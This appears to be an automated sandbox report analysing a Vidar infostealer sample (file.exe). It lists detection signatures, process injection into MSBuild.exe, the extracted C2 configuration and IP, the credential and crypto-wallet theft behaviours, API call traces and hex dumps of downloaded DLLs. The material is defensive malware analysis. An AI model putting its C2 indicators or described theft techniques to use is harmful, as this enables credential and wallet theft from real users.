Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1527562
MD5:	f285025345a7381fe9a451bfd0e07947
SHA1:	8b706e32e1c7f3c4c0ac4fc9583b480397cc5f72
SHA256:	49a7f82743a038d7a570d5d5d8ecb92f369f0e6dbba6532674c4789f0daf9b31
Tags:	exeuser-Bitsight
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6576 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F285025345A7381FE9A451BFD0E07947)

MSBuild.exe (PID: 6616 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "af641acce3f8c85bf2490a9b3aa972c5"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
dump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 6576	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6576	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6576	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 6616	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6616	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 6616	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 6616	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.aacae0.3.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.aacae0.3.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.aacae0.3.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.aacae0.3.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.a80000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.a80000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 95.164.90.97, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 6616, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49737

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:15:37.424513+0200	2044247	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.4	49737	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:15:38.157020+0200	2051831	1	Malware Command and Control Activity Detected	95.164.90.97	80	192.168.2.4	49737	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T03:15:36.789022+0200	2049087	1	A Network Trojan was detected	192.168.2.4	49737	95.164.90.97	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199780418869

URL Reputation: Label: malware

Found malware configuration

Source: 00000001.00000002.3028708376.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "af641acce3f8c85bf2490a9b3aa972c5"}

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 41%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00411E5D CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	1_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C376C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6C376C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49864 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.3040262866.000000001DB48000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.3052771451.000000003590F000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.3046604600.0000000029A2B000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.3064326708.000000006C59F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.3055684780.000000003B879000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.3039738568.000000001D7E8000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.3035346412.0000000017877000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.3063346822.000000006C3DD000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.3043392849.0000000023AB2000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.3049714080.000000002F99F000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9980F FindFirstFileExW,	0_2_00A9980F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415142 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415142

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	0_2_00AAD38D
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	0_2_00AAD38D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [ebp-04h], eax	1_2_004014AD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49737 -> 95.164.90.97:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 95.164.90.97:80 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 95.164.90.97:80 -> 192.168.2.4:49737

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:39 GMTContent-Type: application/octet-streamContent-Length: 2459136Last-Modified: Fri, 24 Nov 2023 13:43:06 GMTConnection: keep-aliveETag: "6560a86a-258600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 25 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 a0 db 23 00 f1 36 00 00 9c a2 24 00 28 00 00 00 00 d0 24 00 cc 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 24 00 88 e2 00 00 60 b2 23 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 b1 23 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 24 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 47 d3 20 00 00 10 00 00 00 d4 20 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 91 22 03 00 00 f0 20 00 00 24 03 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 34 7c 00 00 00 20 24 00 00 62 00 00 00 fc 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b4 10 00 00 00 a0 24 00 00 12 00 00 00 5e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 0e 01 00 00 00 c0 24 00 00 02 00 00 00 70 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 cc 12 00 00 00 d0 24 00 00 14 00 00 00 72 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 35 ff 00 00 00 f0 24 00 00 00 01 00 00 86 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Mon, 07 Oct 2024 01:15:44 GMTContent-Type: application/octet-streamContent-Length: 685392Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-a7550"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
